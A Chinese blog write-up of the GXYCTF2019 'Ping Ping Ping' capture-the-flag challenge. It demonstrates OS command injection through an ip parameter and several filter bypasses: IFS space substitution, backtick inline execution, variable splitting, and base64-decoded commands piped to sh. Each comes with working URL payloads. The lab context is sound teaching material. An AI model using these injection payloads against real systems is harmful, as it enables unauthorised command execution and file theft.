命令执行及绕过

文章详细介绍了在GXYCTF2019挑战中如何通过命令执行来绕过过滤,包括使用cat命令、内联执行、变量拼接和编码方法尝试获取flag.php和index.php的内容,展示了多种Linux命令和过滤绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目:[GXYCTF2019]Ping Ping Ping

这道题考察的是命令执行以及绕过的内容
![2023-06-27T07:05:06.png][1]

首先这个题目没给什么信息,仅有一个ip=,可以看出这是个命令执行的题目,通过构建/?ip=127.0.0.1|ls的payload抓包发现这个页面下含有两个文件’index.php’以及’flag.php’。

尝试利用cat去获在这里插入图片描述
取flag,发现存在空格的过滤
在这里插入图片描述

通过命令绕过空格的一般方法有

{cat,flag.txt}
cat $ {IFS}flag.txt
cat $ IFS $ 9flag.txt
cat $ IFS $ 1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg= $ ‘\x20flag.txt’&&cat$kg

这里利用cat$IFS$1flag.php试试,发现依旧存在问题
在这里插入图片描述

利用相同的方法去查询index.php文件,发现flag也被过滤了
在这里插入图片描述

一、内联绕过

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。于是可以考虑利用cat命令去获取该文件的内容

/?ip=127.0.0.1;cat$IFS$1`ls`

在这里插入图片描述

二、变量拼接

既然flag整个不能输入那就差分成两个部分,a=fl,b=ag

/?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

在这里插入图片描述

好好好,你这么过滤是吧,再来,只设置b=ag看看

/?ip=127.0.0.1;b=ag;cat$IFS$9fl$b.php

在这里插入图片描述

三、编码

遇到过滤不要怕,我们可以通过编码去绕过,利用base64在线加密的方式去加密我们的payload,再通过base -d解密,后跟一个sh作为shell解释器

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

在这里插入图片描述

当然其他的方法如:f\l\a\g这种试过,发现也被过滤了
总结:命令行执行首先要灵活运用cat、ls、sh等命令去实现文件内容的查询,绕过需要掌握编码(最简单),变量拼接,内联法去绕过过滤的内容,同时需要记住绕过空格的方法!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

muzzert

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值